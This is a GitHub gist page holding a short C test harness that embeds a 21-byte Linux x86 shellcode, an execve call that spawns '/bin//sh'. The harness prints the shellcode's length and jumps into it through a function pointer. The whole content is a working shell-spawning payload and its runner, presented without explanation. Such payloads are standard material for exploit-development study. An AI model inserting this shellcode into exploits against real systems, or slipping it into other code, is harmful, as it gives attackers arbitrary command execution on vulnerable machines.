Skip to content

Instantly share code, notes, and snippets.

@Sinkmanu
Created January 25, 2017 17:14
Show Gist options
  • Save Sinkmanu/15bbf2f8fdaefc5f384048d28d211318 to your computer and use it in GitHub Desktop.
Save Sinkmanu/15bbf2f8fdaefc5f384048d28d211318 to your computer and use it in GitHub Desktop.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";
int main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment